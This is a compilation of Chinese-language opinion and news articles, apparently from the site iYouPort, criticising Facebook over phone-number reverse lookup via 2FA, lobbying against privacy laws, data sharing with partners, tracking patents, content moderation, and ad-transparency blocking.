如果用户A与 Facebook 分享她的联系人，包括用户B以前未知的电话号码，广告商就能够使用该电话号码向B发送广告，这称之为“影子联系信息”。

你可能还记得，直到去年，只需在 Facebook 的搜索框中输入某人的电话号码或电子邮件地址，就会执行反向查询并告诉你它属于谁，显示目标人在 Facebook 个人资料中公开分享的任何信息。已经经过多年的滥用后 Facebook 才最终决定禁用该功能。

那么现在的问题在于，Facebook 允许用户输入仅用于提高其在线安全性（通过启用2FA）的电话号码被用于反向查找了。如果有人发现了您的电话号码（也许您在他们的电话答录机上留言了，或者他们看到您打电话给他们），他们就可以通过 Facebook 找到您的姓名，查看您的个人资料照片，以及您公开的任何其他信息。

你给了 Facebook 你的电话号码，是希望他们能增强你的隐私，而不是减少。现在这件事被反过来用了。

这绝不是 2FA 的工作方式，责任应该在 Facebook 上。当然，这种行为是 Facebook 的常态…..

而且你没有办法选择退出。您可以做的最好的事就是立刻更改隐私设置，全部选择“仅限朋友”，以防止陌生人对您的反向查找。

当然，你总是可以立刻删除你的 Facebook 帐户。虽然很多时候为时已晚。坦率地说，如果在这么多年后您还没有发现 Facebook 的行为模式，包括此事在内的一切危险您都将很难发现。

Facebook isn’t letting you opt-out of having people search for you by your phone number. AND YOU THOUGHT 2FA WAS GOOD FOR YOU!

原文

Facebook 全球游说反对数据隐私法 - iYouPort

关于Facebook-这不只是一家公司

为了反对隐私立法，一掷千金地全球游说、收买政客，连女权主义著作都被用来作为游说工具了，只有这一家公司这么不要脸吗？

Facebook 已经针对世界各地的政界人士—包括前英国财政大臣乔治奥斯本—承诺投资和激励措施，主要目的是寻求迫使他们代表 Facebook 反对数据隐私立法，相关内部 Facebook 文件的最新泄漏揭露了这一惊人的故事。

“观察家报”和“计算机周刊”发现的这些文件揭示了一项秘密的全球游说活动，该游说针对数百名立法者和监管机构，试图在全球范围内产生影响，包括在英国，美国，加拿大，印度，越南，阿根廷，巴西，马来西亚和欧盟的所有28个国家。这些文件包括的重点信息是：

– 欧洲各地的政界人士在战略行动中应努力阻止“过度限制”的 GDPR 立法。其中包括爱尔兰总理表示他的国家可以发挥重大影响力推行特殊主张，以促进 Facebook 的利益，尽管技术上它应该保持中立。

– 如果各国不能支持或通过对 Facebook 友好的法律，Facebook 将拒绝他们的投资。

这些文件似乎来自加利福尼亚州应用程序开发商 Six4Three 针对 Facebook 的法庭案件，并透露桑德伯格认为欧洲的数据保护立法对公司构成“严重”威胁。2013年达沃斯经济峰会后发表的一份备忘录引用桑德伯格的话描述了该公司在“数据和隐私方面”面临的来自欧洲的“艰难战斗”及其“关键”努力，以阻止“过度规范的新法律”。

最具启发性的是，它包含了该公司与当时爱尔兰总理恩达·肯尼（Enda Kenny）的“良好关系”的详细信息，此人被称为“Facebook 的朋友”。

爱尔兰在监管欧洲科技公司方面发挥着关键作用，因为其数据保护专员代表所有28个成员国。这份备忘录激起了数据保护倡导者的兴趣，他们一直抱怨该公司与爱尔兰政府的“亲密”关系。

该备忘录指出 Kenny 对 Facebook 决定将其总部设在都柏林的“赞赏”，并指出新提议的欧洲数据保护立法是“对欧洲就业、创新和经济增长的威胁”。然后继续说爱尔兰准备担任欧盟轮值主席国，因此“有机会影响欧洲数据指令的决定”。该备忘录特别声称 **Kenny** 提出利用欧盟轮值主席国的“重大影响力”作为影响其他欧盟成员国的手段，“尽管技术上爱尔兰应该在这个角色中保持中立”。

备忘录说：“总理承诺利用他们的欧盟轮值主席国权力在指令上取得积极成果。”Kenny 在2017年辞职，没有回应观察家饱的评论请求。

研究数字技术民主影响的剑桥学术和观察家报作家 John Naughton 表示，泄露事件对于揭露爱尔兰国家作为大型科技公司的附庸的方式是“爆炸性的”。他指出，爱尔兰曾对这些公司表示欢迎；“该国主要政客们显然认为自己是数据监视资本主义的隐蔽说客。”

Facebook 发言人表示，这些文件仍然在加利福尼亚法院封闭，并且无法对其进行任何详细回复，并称：“与去年违反法院命令的其他文件一样，这只是故事的一面，省略了重要的背景。“

2013年备忘录由 Marne Levine 撰写，他现已成为 Facebook 的高级管理人员，Facebook 当时的政策和全球通信负责人是 Elliot Schrage，现在由 Nick Clegg 担任这一职务。

除了 **Kenny** 之外，其他几十位政治家，包括美国参议员和欧洲委员也都被提及，其中还包括印度**13**任总统普拉纳布·慕克吉、现任欧盟脱欧谈判代表的米歇尔·巴尼耶和奥斯本。

备忘录声称，当时的财政大臣利用与桑德伯格的会面要求 Facebook 投资政府的“科技城”，而桑德伯格表示她将“审查”任何提案。作为交换，她要求他“在欧洲数据指令辩论中更加积极主动，并真正帮助制定[有利于 Facebook 的]提案”。

该备忘录显示奥斯本要求进行详细的通报，并说他将“弄清楚如何更多地参与”。他提议在唐宁街为 Sandberg 的书举办一场推广活动，这一活动于2013年春季开始。

奥斯本告诉 Observer：“我认为这位英国财政大臣与全球最大公司之

一的首席运营官见面并不令人感到意外……Facebook 和其他美国科技公司已经私下表达了对拟议的欧洲数据指令的担忧。对于您的具体询问，我没有跟进这些问题，也没有游说欧盟，因为我不同意这些。“

他指出，他曾帮助在唐宁街11号推广桑德伯格的书“并非秘密”，并补充道：“这本书关于女性赋权的信息受到广泛赞誉，尤其是”卫报“和”观察家报“。

事实上，该备忘录显示，桑德伯格的女权主义回忆录被 **Facebook** 团队用作了一种游说工具，并且是一种赢得女性立法者支持 **Facebook** 的更广泛议程的手段。

该备忘录特别透露了与在欧洲有影响力的欧洲司法、基本权利和公民身份委员 Viviane Reding 的会面，并指出她作为“欧洲数据指令的架构师”的关键角色，并描述了该公司与她的“困难”关系。由于她的存在，该备忘录称，“不是美国公司的粉丝”。

“她参加了 Sheryl 的晚宴，之后我们就与她会面了，”这份备忘录说，但她觉得这是一场“非常’美国式的’讨论”，该团队认为这是一个挫折。

就 **Facebook** 赢得影响力的全球努力而言，达沃斯会议只是冰山一角。这些文件还揭示了加拿大和马来西亚如何使用新的数据中心选择的承诺，声称创造就业机会以赢得立法保障。当加拿大人对获得 Facebook 想要的让步犹豫不决时，备忘录指出：“Sheryl 采取了坚定的方法并概述了数据中心的决定迫在眉睫。她强调，如果我们无法从加拿大政府那里获得关于管辖权问题的安慰，我们还有其他选择。“该部长最终在当天结束时提供了 Facebook 所要求的协议。

Revealed: Facebook’s global lobbying against data privacy laws. Social network targeted legislators around the world, promising or threatening to withhold investment

原文

Facebook 的垮台只是刚刚开始 - iYouPort

关于Facebook-这不只是一家公司

“没有心理健康支持。自杀率非常高”，纪录片“The Cleaners” 导演对CBS新闻说。这部电影是对菲律宾 Facebook 审查员生活的调查。在整个2018年的道歉之旅中，马克扎克伯格一直在定期引用该公司雇佣的审查员作为两个关键解决方案之一（另一个是AI审查）。但是他没有透露的是，大部分审查员都是发展中国家雇用的分包商。

每天长达10个小时，每天观看多达 25,000 张图像或视频，这些低薪工人被深埋在全世界最恐怖的内容中—仇恨言论、儿童色情、强奸、谋杀、酷刑、斩首等等。 他们并不是他们所监视的主题或地区的专家。他们只依靠 Facebook 提供的所谓“指导方针”—这些规则甚至没有用审查员的母语编写，因此很多人只能依赖谷歌翻译。

而彭博社追踪的53位分析师中有41位当前将 Facebook 列为买入，“平均价格目标为…… 187美元，这意味着上涨近36％。”这种乐观主义来自一个基本假设：公司垄断数据的优势意味着它可以继续从广告商那里获得更多，即使公众争议继续削弱其用户增长。鉴于 Facebook 问题的深度和难以解决性，这种乐观至少是短视的。

用户已经纷纷逃离；广告买家已经将钱转移到竞争对手的平台上；政府正在加紧严厉阻止 Facebook 的数据收集能力，德国已经开始禁止第三方数据共享。该公司正在接受美国联邦贸易委员会、司法部、证券交易委员会、和欧洲若干政府机构的调查。联合国指责其在缅甸种族灭绝中扮演“决定性角色”。

该公司正在进行一次行政大换血。而且我们相信，Facebook 的董事会迟早会认为除了 Sheryl Sandberg 和 Mark Zuckerberg 之外别无选择。

市场大大低估了公司所面临的危险。根据 Statcounter 最近公布的数据，Facebook 的全球社交媒体市场份额从2017年12月的 75.5% 已经下降至2018年12月的 66.3％。在美国最大跌幅为76％至52％。

正如 Cowen 最新公布的调查结果显示，这些参与下降将继续压低公

司的收益。Cowen 调查了50位美国高级广告买家—他们控制着2018年140亿美元的数字广告预算—其中18%的人表示他们正在减少在 Facebook 上的支出。因此，Cowen 估计 Facebook 平台将失去3%的市场份额。

毫无疑问，Facebook 的挣扎不只是关于头条丑闻。多年来，从VR到视频推动再到数字助理竞赛的落后地位，一个接一个的创新优先顺序已经明显落后。该公司过去几年来最重要的“创新”成功只是复制竞争对手的创新。

然而，正是这些丑闻最让公司的品牌瘫痪，并揭示了其高级职位的文化腐败。考虑一下在4Q18出现的最耸人听闻的启示：

- 10月17日：Verge 报告称 Facebook 一直知道一年多来为广告客户和品牌提供的视频收视率数据的不准确性。“掺水的流量数据导致广告商和媒体公司对 Facebook 视频的投入和收获不成比例。”
- 11月14日：“纽约时报”发布一份调查报告，显示 Facebook 聘请了一家保守的公关公司来诋毁竞争对手，并尽量减少该公司在俄罗斯2016年大选干预中的角色。
- 12月5日：英国国会议员发布了250页的内部 Facebook 电子邮件，这些电子邮件显示，“该公司的高管们无情的、并且不遗余力地从用户那里收集更多数据，从开发商那里获取让步并剔除可能的竞争对手”，如纽约时报报道的那样。在这里看到详细介绍《新曝光的文件显示：Facebook 从来都不值得你信任》
- 12月14日：Facebook 透露，一个”bug”允许第三方应用开发者访问人们可能没有公开共享的照片，多达680万用户受到影响。
- 12月17日：参议院的两份报告揭示了俄罗斯在2016年大选期间在该社交媒体平台上的努力令人震惊的程度，其中包括事实上，他们是错误信息的最大工具。
- 12月18日：“纽约时报”报道称，Facebook 为全球最大的科技公司提供了比之前披露的更具侵入性的用户数据，包括俄罗斯搜索公司 Yandex。
- 12月27日：“纽约时报”获得了1,400页的 Facebook 内容审查指南，发现了令人难以理解的混乱语言、偏见和明显的错误。

Facebook 目前在全球拥有22.7亿月活跃用户。每60秒发布510,000条评论，更新293,000个状态，并将136,000张照片上传到平台。Instagram 由 Facebook 拥有，月活跃用户超过10亿。 WhatsApp 也是 Facebook 拥有，现在每月有15亿活跃用户，其中一半以上的人每

天都使用它几次。你能从中体会到该公司在全球吸取了多少个人数据。

根据 Wired 的说法，Facebook 声称用户试图上传的成人和裸体图像中有96%现在可被AI自动检测到并删除。这听起来是成功的？但是要知道，其错误率仅在2018年第三季度就有130万张这样的图像不会被监测到。

并且，对于基于规则的算法而言，检测裸露是一项相比下很容易的任务，检测真假消息才是最难的，仇恨言论和讽刺之间、或者色情和艺术之间的区别，算法都无从判断。

越来越显而易见的是，这个利润驱动的平台只是一个终极缺陷的想法。它导致太多的权力掌握在极少数人的手中；它允许不良行为者高度极权。它与一个重视隐私、所有权和真相的世界是完全不相容的。

公众正在意识到这个问题。毫无疑问，寻求引入替代品的竞争创新者也是如此。他们将共同削弱 Facebook 的权力和盈利能力。鉴于该公司的领导人仍然盲目于他们的监视资本主义商业模式，并且不可逆转地依附于这种商业模式，我们怀疑他们是否能够避免这种冲击。

The fall of Facebook has only begun. The platform is broken and neither human nor machine can fix it. Even after losing roughly a third of its market cap, it still may prove one of the great shorts of all time.

原文

Facebook 的邪恶比你所怀疑的更严重 - iYouPort

关于Facebook-这不只是一家公司

为什么说谁“拥有”数据，只是一个荒谬的文字游戏

“纽约时报”根据数百页 Facebook 内部文件以及对其合作伙伴的约 50 名前雇员的采访调查显示，该公司的数据市场甚至比许多消费者所怀疑的还要大。与历史上几乎任何其他私人公司相比，Facebook 收集的个人信息都是最多的，可视为老大哥的核心。以下是五点基本总结。

1、数据处理—— 马克扎克伯格在四月的一次听证会上告诉国会：他“不会出售任何人的数据”。他承诺—Facebook 从其22亿用户那里收集的大量数据将始终安全地保存在 Facebook 手中。

但是，多年来 Facebook 已达成协议，与数十家硅谷公司分享信息。与 Facebook 被公布的行为相比，这些合作伙伴获得的用户数据更具侵入性。反过来，这些交易帮助 Facebook 吸引更多新用户，鼓励他们更频繁地使用社交网络，并提高广告收入。

这就是为什么说谁“拥有”数据，是一个荒谬的文字游戏。

2、Facebook 最大的合作伙伴获得的访问量远远超过剑桥分析公司—— 关于 Cambridge Analytica 事件如今已经家喻户晓了，多达 8700 万 Facebook 用户被用来实施政治操纵。但是调查发现，那之后 Facebook 继续向包括微软和亚马逊在内的大型科技公司提供更多信息：每月数亿人的数据，包括电子邮件地址和电话号码—未经用户了解或同意。

3、Facebook 从未直接告诉用户它正在共享这些数据—— Facebook 与超过150家公司共享数据—— 其中大多数是科技企业，还有汽车制造商，媒体组织（包括“纽约时报”）和其他公司。

虽然 Facebook 用户可以控制他们与 Facebook 平台上的大多数应用

程序共享的数据，但有些公司仍然可以访问用户的数据，即使用户已禁用所有共享。许多合作伙伴的应用程序甚至从未出现在 Facebook 用户的应用程序设置中。据 Facebook 称，每个外部公司都充当了社交网络的延伸。该公司认为，用户在 Facebook 上与朋友分享的任何信息都可以在未经同意的情况下与这些合作伙伴公司共享。

4、无耻的草率—— 数据合作伙伴关系可以追溯到2010年，这是 Facebook 长期增长和扩张的开始阶段。在几年之内，社交网络已经触及了许多这些交易，Facebook 员工构建了一个工具来跟踪合作伙伴所拥有的不同类型的访问。

尽管如此，Facebook 似乎没有密切关注其用户数据如何流入世界。一家被指责与克里姆林宫关系密切的俄罗斯社交媒体公司 Yandex，在 Facebook 从数据中切断其他应用程序多年后仍然可以访问 Facebook 独特的用户 ID，理由是“安全问题”。

- 延伸阅读：《你知道 Facebook 和 Twitter 是俄罗斯亿万富翁资助的吗？》

同样，Facebook 让雅虎能够在搜索公司的主页上显示 Facebook 用户的新闻源—— 包括朋友的帖子。截至去年，它仍然可以获得每月近10万人的数据。

5、美国联邦贸易委员会的四位前官员和员工表示，数据共享协议可能违反了同意协议，因为用户无法知道 Facebook 与哪些公司共享数据，也没有明确的授权方式或预先许可。普华永道（PricewaterhouseCoopers）在 2013 年至少进行了一次评估，发现 Facebook 在确保共享数据得到适当保护方面做得很少。

Facebook 坚持认为，合作伙伴关系受到同意法令的豁免。美国联邦贸易委员会的一位发言人绝透露该委员会是否同意。

Facebook’s Data Sharing and Privacy Rules: 5 Takeaways From Our InvestigationFacebook’s Data Sharing and Privacy Rules: 5 Takeaways From Our Investigation

原文

Facebook 知道如何使用相机镜头上的灰尘跟踪你 - iYouPort

关于Facebook-这不只是一家公司

早在2014年 Facebook 就提交了一项专利申请，该专利可以采用智能手机数据来判断两个人是否可能互相认识。

该项目的作者是 Facebook 的工程经理 Ben Chen，他写道，不仅可以同时检测到两个智能手机在同一个地方出现，并且可以通过比较每部手机的加速度计和陀螺仪读数，以确定人们彼此面对或一起散步的时间。这样，Facebook 就可以推荐给你昨晚在酒吧里与你交谈的朋友，而不是你选择不与之交谈的所有其他人。你的私生活正岌岌可危。但 Facebook 称“该专利没有付诸实践”。

但是，这并不意味着 Facebook 没有考虑更具侵略性的使用用户的元数据来建立人们之间的联系的方法。

2015 年提交的一种技术描述是这样的，该技术通过与人们上传的照片相关联的相机元数据连接两个人的关系。如果人们上传的图像看起来像是在同一系列中的照片—比如 IMG_4605739.jpg 和 IMG_4605742 ，或者如果在照片上的相同位置可以检测到镜头划痕或灰尘，那么可能会假设两个人彼此认识。这些细节揭示了照片是由同一台相机拍摄的。

一些专利中的技术分析非常令人震惊。自 2004 年诞生以来，Facebook 已经申请了数千项技术专利，以锁定其知识产权，并且像该领域的许多公司一样，扼杀了竞争。在搜索这些专利时，我们发现从 2010 年到 2016 年提交的十几个专利都在试图挖掘人们之间的真实关系，要知道这样的数据如果被当局掌握，将对异议人士的联盟造成致命性的打击。

在了解了该公司的这些专利后，你已经很难不再将 Facebook 视为间谍服务而非社交网络了。如果将这些技术付诸实践，那将是一种令人难以置信的侵入性跟踪监视。

Facebook Knows How to Track You Using the Dust on Your Camera Lens: One filed in 2015 describes a technique that would connect two people through the camera metadata associated with the photos they uploaded. It might assume two people knew each other if the images they uploaded looked like they were titled in the same series of photos—IMG_4605739.jpg and IMG_4605742, for example—or if lens scratches or dust were detectable in the same spots on the photos, revealing the photos were taken by the same camera.

原文

Facebook 给了全球当权者一个终极暴政蓝图 - iYouPort

关于Facebook-这不只是一家公司

作为经典的1984已经严重落伍了，作为互联网霸主的国安局可以找到一个五体投地的钦佩对象了……人权终结者正在成型

「图」

「图」

也许 Facebook 最新举措的最危险的方面是将内容审核转移到了边缘，⚠直接在用户的手机上运行他们的算法 —— 它为所有政府提供了全球监控网络的终极蓝图。

通过推动政府将监视不仅视为一个需要识别目标、拦截通信并集中在难以想象的大型干草堆中寻觅绣花针的活跃过程，而且，要直接在用户自己的智能手机上运行思想警察，Facebook 已经证明了所有人类的未来都处于监视状态。

政府对技术变革的适应力无比强大，他们长期以来一直在通过利用最新的通信方式来监视其公民并收集所有感兴趣的情报。

斯诺登在2013年的披露让所有人看到了这种监控的真实程度、以及它对我们生活的深入程度。

在这里看到综合版《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

然而，斯诺登的披露还揭示了当前全球规模监控的有限性，即使有NSA的资源。

互联网实在太大了，无法覆盖全球所有通信的全部内容，要想能够理解全世界所说和所见的一切，所需的处理资源甚至已经超出了美国情

报机构（互联网霸主）的能力范围。

但是，Facebook 来了。

Facebook 推出的内容匹配和人工智能内容审核算法的新举措，为全球各国政府提供了一个强大的新模板 —— 用于监控自己的公民、和 **Facebook** 遍布全球的**20**亿用户。

突然间，⚠Facebook 不再需要亲自渗透用户的设备或拦截他们的传输通信并解密和处理数据了，Facebook 提醒我们，用户将*非常乐意*允许公司直接将过滤算法下载到他们的手机上、以处理他们的所有通信 。

这不仅可以在加密传输之前以及在解密之后授予对通信的访问权限来回避对加密的争论，而且，还通过将每个用户的通信的处理载入到他们自己的设备来避免可扩展性的问题。

虽然 Facebook 的噩梦仍处于研究阶段，但该公司的演示已经表明，该方法在完全于设备上执行大规模内容审核的可行性方面取得了相当大的进展。

对于政府来说，Facebook 的模型提供了终极监控机器的伟大蓝图。

⚠政府可能不需要再依赖 Facebook 泄漏数据了，而是要求在其土地上使用的所有手机都安装一个监控应用程序，对本地蜂窝提供商进行身份验证、同时还对所有通过设备的通信进行实时监控、窃听麦克风、偷窥相机 ……一个24/7便携式移动监控站。

甚至，⚠政府还可能要求设备制造商将此类监控过滤直接嵌入到设备上的专用固件中，以防止手机在没有它的情况下在本地网络上使用。

从此以后，公众本身将采购和维护这种用于压制自身人权的监控网络，这可不是1984年那种固定的政府资助的电视屏幕。它完全超越了。

想象一下这样一个世界：每个智能手机都会监控其所有者看到或说过的每个单词，在任何一个对政府不忠诚的言论出现时提醒当局。

除此之外，每个手机的麦克风全天候开放，通过板载人工智能算法进行监控，识别附近听到的每一个声音，并记录听到的每一个字，让当局可以超越电话的拥有者，把其周边所有人都装进监视区。⚠当麦克风四处窃听并抄写每个单词时，加密语音通话还有什么用？

还要将此与 Facebook 能够映射其用户的实时物理位置并创建任何给定人口的统计或兴趣习惯的详细地图之能力相结合。

结果可能是有史以来最强大的监控网络。没有之一了。

当然，Facebook 本身是否帮助了政府当局焕发对监控潜力的灵感？

正如你一直以来所熟知的，Facebook 扫描其用户的实时对话以标记对该公司的任何负面提及、并听取可能对其有用的所有情报、策划用手机摄像头上的灰尘跟踪你 ……相比下上述可能只是一个“小小的延伸”。

毕竟，该公司在今年早些时候竭尽全力地提醒公众，它要保留将其 GPS、相机和照片画廊*用于其认为合适的任何目的*的权利。

然而，Facebook 的努力已经远远超出了监控范围。

它们为那些希望噤声所有异议言论的国家提供了终极蓝图。为什么在用户发布批评之后会对用户进行追踪和惩罚？

该公司没有回复评论请求。当人们询问如何让这种邪恶的设备扫描不被压制性政府重新利用的时候，⚠Facebook 的沉默提醒我们，它唯一的重点是利润，而不是其20亿用户的安全和人权。

综上所述，无论政府转向 Facebook外包其国内和全球监控需求，还是仅将 Facebook 的模式作为自己的监控计划蓝图，都没什么区别，**Facebook** 正在迅速引领我们所有人迈向一个崭新的世界 —— 在这里，隐私人权只是久远的过去中一个古怪的微弱记忆。

Facebook Just Gave Repressive Regimes The Ultimate Surveillance Blueprint

原文

Facebook 阻止透明度工具 - iYouPort

关于Facebook-这不只是一家公司

包括 ProPublica 在内的许多组织都开发了一些工具，让公众可以了解 Facebook 用户如何成为了广告商的目标。但是，

现在，Facebook 已悄然改变了其网站，以阻止这些保护隐私的努力。

ProPublica，Mozilla 和 Who Targets Me 最近都注意到了他们的工具已经失效。“这非常令人担忧，”支持“诚实广告法案”的参议员 Mark Warner 说，该法案要求 Facebook 广告具有透明度。“像 ProPublica 这样的调查小组需要访问这些信息，以便跟踪和报告在线广告的不透明的且经常是欺骗性的世界。”

在过去一年半的时间里，ProPublica 一直在构建一个可搜索的政治广告数据库，这些广告商正在付费以达成定向宣传的目标。通过招募数千名安装了Web浏览器扩展的志愿者来实现这一数据库。该工具揭示了用户看到的广告以及 Facebook 有关用户定位目标的详细信息。

在致 ProPublica 的一份声明中，Facebook 声称这一变化只是“为了执行其服务条款”。Facebook 在此之前已经做了一些小调整，以打破了这些透明度工具。但这一次，Facebook 直接阻止了自动提取广告定位信息的功能。

最新举措是在 Facebook 高管敦促 ProPublica 关闭其广告透明度项目后的几个月。

8月，Facebook 广告产品管理总监 Rob Leathern 承认 ProPublica 的项目“服务于一个重要目的。”但他同时说，“我们将开始执行我们现有的服务条款。”

Facebook 推出了“美国政治广告档案”，该公司称它是 ProPublica 工具的替代品。但是，Facebook 的广告档案仅在三个国家/地区提供，未能披露重要的定位数据，甚至不包括在美国投放的所有政治广告。

Facebook Moves to Block Ad Transparency Tools—Including Ours. Our tool had let the public see exactly how users were being targeted by advertisers. The social media giant urged us to shut it down last year.

原文

Facebook、WhatsApp 促进人口贩运? - iYouPort

关于Facebook-这不只是一家公司

据“独立报”报道，联合国已经采取行动指责大型科技公司未能严厉打击利用其平台引诱移民进入死亡陷阱的人贩子，这些人欺骗移民能安全进入欧洲。

详见这篇报告：《移民潮如何养肥了“伊斯兰国”—— AQIM模式的恐怖主义犯罪正在扩张》

警告是在试图通过小船穿越海峡到达英国的移民激增之际，自圣诞节那天起英国和法国当局已经截获了近100人。

在不到五年的时间里，地中海已经有 17,700 人死亡。人贩子显然是通过 Facebook 和其他提供沟通能力的技术公司实现的。国际移民组织（IOM）发言人 Leonard Doyle 表示，移民正在通过互联网“被吸引来”，因为走私者通过社交网络进行欺骗性宣传。

在法国北部开展业务的慈善机构不同意社交媒体公司助长人口贩运的观念，而是指责“移民在其本国面临的迫害”。据“独立报”报道，欧洲各国政府也未能告知难民他们的庇护权—— 以及如何获得。

慈善机构 Care4Calais 的创始人克莱尔·莫斯利（Clare Moseley）对社交媒体的关注提出异议，称：“看到人们冒险跨越海峡，这令人深感不安。我们从未期望看到他们采取如此绝望的举动。“但这不是因为社交媒体而发生的；是因为他们在自己的国家受到迫害、被杀被折磨。“

慈善机构 Help Refugees 的负责人 Josh Hallam 表示，走私者能够控制信息流，这是因为政府机构没有提供必要的帮助。“这么多人冒着生命危险逃难的原因是由于缺乏国家资助的信息—— 关于他们的庇护权等知识—— 所以他们无法做出明智的决定”。

但是一个问题不得不提醒：如果你在 Facebook 发布关于儿童色情甚

至只是普通裸体照片的话，肯定立刻被 Facebook 删除，你的账户都会被封锁；然而如此猖獗的人贩子广告，却没有受到任何阻拦。

根据欧洲刑警组织的移民走私中心，90%的抵达欧盟的移民都是由属于犯罪组织的人贩子带到那里的—— 国际移民组织将贩卖人口定为国际犯罪分子的第三大产业（上述关联文章中有详细报道；以及欧洲国家为什么不会给移民任何必要的帮助）。

虽然国际移民组织说他们一直在与社交媒体公司讨论走私人口问题，但 Doyle 对此表示怀疑。“他们声称他们正在做某事，但他们并没有做。为什么？因为他们依赖股东价值，所以任何干扰这一点的事都会影响股票价格，Facebook 内部有人在研究这个问题，但与其造成的损害相比，它的注意力几乎微不足道。”

- 关联：《手机元数据和 Facebook 个人信息如何决定了一个人的命运？—逃难之旅的新坎坷》

The UN has resorted to blaming big tech for failing to crack down on human traffickers who use their platforms to lure migrants “to their deaths” with false promises of safe passage into Europe, according to the Independent.

原文

Facebook、而不是微软，是开源的主要威胁 - iYouPort

互联网自由-Resist关于Facebook-这不只是一家公司

Facebook 想要变成微信那样的操作系统，对开源社区来说这意味着什么？

「图」

「图」

在未来，Facebook 将不会再做简单的社交媒体网站。

Facebook 目前受到很多审查和压力。它被指控帮助外国恶意行为者通过广告和虚假账户来操纵选举 —— 例如在美国传播谎言 —— 以及在新西兰和其他地方充当恐怖主义的传播渠道。

越来越多的人开始发誓要打破 Facebook；或者至少做到控制 Facebook。

更多《打破 Facebook 究竟需要什么？》、《如何才能挑战 Facebook 并取得胜利？》。

为了阻止这些反对意见、并限制最近事件对 Facebook 声誉造成的影响，马克扎克伯格一直在发表一些哲学帖子，试图击败其中主要的批评者。

在他最近的一篇文章中，他呼吁在四个方面对网络世界进行新的监管：有害内容、选举完整性、隐私、和数据可移植性。

但是这种对监管的拥护本身就是骗局，在这里看到具体解释《拥护的背后》。

对数据可移植性的呼吁提到了 Facebook 对数据传输项目的支持。这显然是企图驳回有关 Facebook 垄断和封闭的指责。

Facebook 确实使用并支持大量的开源程序，所以在这点上，这是一个公平的宣称。

扎克伯格从2019年3月初开始发布的帖子篇幅要长得多，帖子概述了 Facebook 如何运用他所谓的“以隐私为重点的社交网络愿景”。

当然，更好地保护隐私绝对受欢迎。但是，如果你认为扎克伯格的帖子就是你想的这样，那就太天真了。

再一次，这些帖子只是为了试图阻止越来越多的批评 —— 在这种情况下，Facebook 是破坏了数据保护。

这里的关键是下面这句话：

我相信通信的未来将越来越多地转向私人加密服务，人们可以确信他们彼此之间的通话保持安全，他们的信息和内容不会永远存在。

虽然对于 Facebook 用户来说这听起来像是个好消息，但对于 Facebook 本身来说，这也是一个很大的优势。

由于将采用端到端加密，该公司将无法看到人们在私人聊天中分享的内容。

既然如此，就不能要求对这些内容进行监管了。

如果 Facebook 能够实现这种“转变”，就将能减少公司的政治压力 —— 即 要求检查其用户的行为。

这种方法的一个大问题是，无法知道谁发送了什么，因此当局和其他观察者将失去关于什么样的虚假信息正在传播的宝贵见解。

不仅如此，这种大肆宣扬隐私和加密的做法还有另一个关键驱动因素。

正如扎克伯格写道的：

我们计划以我们开发 *WhatsApp* 的方式构建它：专注于最基本和私有的用例 —— 即 消息 —— 使其尽可能安全，然后构建更多方式让人们进行交互，包括通话、视频聊天、群组、故事、企业、支付、商业，并最终成为许多其他类型的私人服务的平台。

请注意，扎克伯格需要“尽可能安全地”提供服务，而不是为了保护用

户的隐私，从而产生足够的信心，让人们愿意相信 Facebook 负责日常金融活动。

也就是说，他希望将 Facebook 从社交媒体网站转变为运行各种应用程序的平台。

Facebook 的用户市场已经接近枯竭，因此它需要找到新的方式来产生利润。

虽然是一个大胆的愿景，但它几乎不是原创的 —— 因为这正是中国互联网巨头腾讯对微信所做的事。

最初，微信只是人们与朋友群组和同事交流信息的一种方式。 到2017年，腾讯开始在其平台上运行“小程序”。就如维基百科解释的：

企业主可以在微信系统中创建迷你应用程序，使用 *JavaScript* 和专有*API*实现。用户可以在微信应用中安装这些。 *2018*年*1*月，微信宣布了*58*万个小程序的纪录。通过一个迷你程序，消费者可以在超市柜台使用手机扫描*QR*码，并通过用户的微信手机钱包支付账单。微信游戏受到了极大的欢迎，其*“Jump Jump”*游戏在不到*3*天的时间内吸引了*4*亿玩家，并在推出后的两周内获得了*1*亿活跃用户，截至*2018*年*1*月。

如今，微信每月活跃用户超过10亿，它实际上是中国社会的操作系统。

随着 Facebook 宣称转向“以隐私为重点的社交网络愿景”，扎克伯格显然希望将 Facebook 变成微信那样的操作系统。

对于开源来说，这是一个巨大的问题。

虽然 Linux 是当今使用的数十亿 Android 手机的基础，但是在其上运行自由软件的迹象很少。

随着人们开始安装 Facebook 的迷你程序在 Android 上运行，一切依赖于 Linux 的事实变得更加无关紧要。

无论新的迷你程序是否开源，Facebook 的平台肯定不会开源，无论扎克伯格多么喜欢自由软件。

Facebook 将成为新的 Windows，区别在于在GNU / Linux而不是Windows中交换是很简单的；但想在 Facebook 的新平台做同样的事可不容易。

社区无疑会提出一个比 Facebook 更好的 Facebook —— 毕竟，开源世界有一些非常棒的程序员，他们喜欢挑战。

它可能是一个内置隐私和安全性的分布式系统。但技术细节在这里确实无关紧要。

困难的部分不是制作更好的 **Facebook**，而是说服人们使用它。网络效应导致打破 Facebook 对社交媒体的控制会难以置信的困难。

一旦扎克伯格建立了 Facebook 作为一个完整的平台，并且人们在他们清醒的时候经常和本能性地使用它，那将更加困难。那么开源将扮演什么角色？

Facebook, Not Microsoft, Is the Main Threat to Open Source

原文

Facebook不仅知道你现在在哪，它还想知道你未来会在哪 - iYouPort

关于Facebook-这不只是一家公司

是的，所有认识你的人都会出卖你

Facebook 已经向美国专利商标局提交了几项专利申请，其中包括使用您的位置数据预测您的去向、以及何时离线的技术。

2017年5月30日，名为“ 离线轨迹 ”的 Facebook 应用程序描述了一种根据您的位置数据预测你接下来会出现在什么地方的方法。简单说就是，该技术不仅基于你的历史位置记录，还可以使用你认识的其他人的数据结合起来预测你的去向。

「图」

「图」

A graph from the “Offline Trajectories” patent showing how the Facebook-developed technology would calculate the probability that a user will be offline based on geographic location prediction. If offline time is predicted, the app would preload News Feed content.

2016 年，谷歌地图为 Android 引入了类似的饱受抨击的功能，称为 Driving Mode，根据当前位置和网络搜索历史记录推测用户的目的地。

另一个名为“ 在线社交网络使用无线信号的位置预测 ”的 Facebook 专利申请描述了如何跟踪Wi-Fi、蓝牙、蜂窝和近场通信（NFC）信号的强弱，以便通过估算你当前的位置预测你下一步会去哪里。

该“背景信号”信息用作 GPS 的替代，因为如该专利所述，它可以提供“更准确或精确地确定用户地理位置的优点”。

「图」

「图」

